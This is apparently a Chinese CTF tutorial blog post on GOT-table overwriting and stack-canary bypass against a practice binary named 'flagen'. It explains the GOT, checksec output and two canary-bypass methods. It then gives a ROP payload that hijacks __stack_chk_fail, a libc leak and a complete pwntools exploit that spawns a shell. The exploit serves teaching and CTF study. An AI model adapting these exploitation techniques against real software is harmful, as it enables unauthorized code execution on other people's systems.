PNW入门之got表覆写

实验目的

通过本次实验掌握got表的覆写和如何绕过canary。
本次实验以flagen文件为例。

实验文件

链接:https://pan.baidu.com/s/1ZSX-4AHSbJH1kGIncHjvbA
提取码:eh2k

实验步骤

首先介绍一下got表覆写的原理:
在这里插入图片描述
GOT表:
概念:每一个外部定义的符号在全局偏移表(Global offset Table )中有相应的条目,GOT位于ELF的数据段中,叫做GOT段。
作用:把位置无关的地址计算重定位到一个绝对地址。程序首次调用某个库函数时,运行时连接编辑器找到相应的符号,并将它重定位到GOT之后每次调用这个函数都会将控制权直接转向那个位置,而不再调用编辑器。

对文件的保护机制进行检测:
在这里插入图片描述
我们通过对文件的保护进行检测可以看到,这是一个32位ELF程序,RELRO为” Partial RELRO”,说明我们对GOT表具有写权限,Stack为”Canary found”说明程序启用了栈保护,NX Enabled说明开启了数据执行保护(DEP),我们很难通过shellcode来执行代码了,No PIE说明未采用地址空间随机化。
从Canary的工作机制,我总结出绕过Canary保护的方法有:
1、泄露canary。由于Canary保护仅仅是检查canary是否被改写,而不会检查其他栈内容,因此如果攻击者能够泄露出canary的值,便可以在构造攻击负载时填充正确的canary,从而绕过canary检查,达到实施攻击的目的。
2、劫持__stack_chk_fail。当canary被改写时,程序执行流会走到__stack_chk_fail函数,如果攻击者可以劫持该函数,便能够改变程序的执行逻辑,执行攻击者构造的代码。我们知道,Linux采用的是延迟绑定技术(PLT),如果我们能够修改全局偏移表(GOT)中存储的__stack_chk_fail函数地址,便可以在触发canary检查失败时,跳转到指定的地址继续执行。
对文件进行静态分析:
在这里插入图片描述
所以,我们对于该题,我们的漏洞利用策略是绕过Canary保护,并劫持Libc中的__stack_chk_fail来改变程序执行流,由于程序开启了NX,我们需要构造ROP链来执行我们的代码。

在这里插入图片描述
通过分析这段代码,我们可以发现这段代码的功能是将你输入的内容变长。那么,在这里就会存在栈溢出。
所以我们可以编写我们的payload:

payload=p32(ret)+'h'*0x55+'a'*8+'a'*5+p32(pop_1)+p32(stack_check)
payload+=p32(puts)+p32(pop_1)+p32(elf.got['free'])
payload+=p32(read)+p32(pop_3)+p32(bss+0x100)+p32(0x6fffffff)+p32(0xffffffff)
payload+=p32(read)+p32(pop_3)+p32(elf.got['free'])+p32(0x6fffffff)+p32(0xffffffff)
payload+=p32(elf.plt['free'])+p32(pop_1)+p32(bss+0x100)

我们还需要注意的就是payload中会有\x00截断,所以我们需要找到一个合适的输入函数。使用文件中自己编写的输入函数,覆盖参数(注意\x00截断)。

在这里插入图片描述
最后还是通过泄露出libc的基址来进行getshell。

libc=LibcSearcher('alarm',alarm)
system=alarm-libc.dump('alarm')+libc.dump('system')
malloc_hook=alarm-libc.dump('alarm')+libc.dump('__malloc_hook')
print('malloc_hook',hex(malloc_hook))
p.sendline('/bin/sh\x00')
p.sendline(p32(system))

getshell:

在这里插入图片描述
最后附上exp.py

from pwn import *
from LibcSearcher import *
context.log_level='debug'
context.terminal=['gnome-terminal','-x','sh','-c']
elf=ELF('./flagen')
def input(p,input):
    p.sendlineafter(': ','1')
    p.sendline(input)
def up(p):
    p.sendlineafter(': ','2')
def low(p):
    p.sendlineafter(': ','3')
def change(p):
    p.sendlineafter(': ','4')
def addprefix(p):
    p.sendlineafter(': ','5')
def prin(p):
    p.sendlineafter(': ','6')
def exit(p):
    p.sendlineafter(': ','7')
puts=0x08048510
ret=0x0804846a
stack_check=0x0804B01C
pop_1=0x08048481
pop_2=0x08048b00
pop_3=0x08048d8d
bss=0x804b144+0x8
a=0x08048F60
read=0x080486CB
p=process('./flagen')
payload=p32(ret)+'h'*0x55+'a'*8+'a'*5+p32(pop_1)+p32(stack_check)
payload+=p32(puts)+p32(pop_1)+p32(elf.got['free'])
payload+=p32(read)+p32(pop_3)+p32(bss+0x100)+p32(0x6fffffff)+p32(0xffffffff)
payload+=p32(read)+p32(pop_3)+p32(elf.got['free'])+p32(0x6fffffff)+p32(0xffffffff)
payload+=p32(elf.plt['free'])+p32(pop_1)+p32(bss+0x100)
input(p,payload)
change(p)
alarm=u32(p.recv()[4:8].ljust(4,'\x00'))
libc=LibcSearcher('alarm',alarm)
system=alarm-libc.dump('alarm')+libc.dump('system')
malloc_hook=alarm-libc.dump('alarm')+libc.dump('__malloc_hook')
print('malloc_hook',hex(malloc_hook))
p.sendline('/bin/sh\x00')
p.sendline(p32(system))
p.interactive()
p.close()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值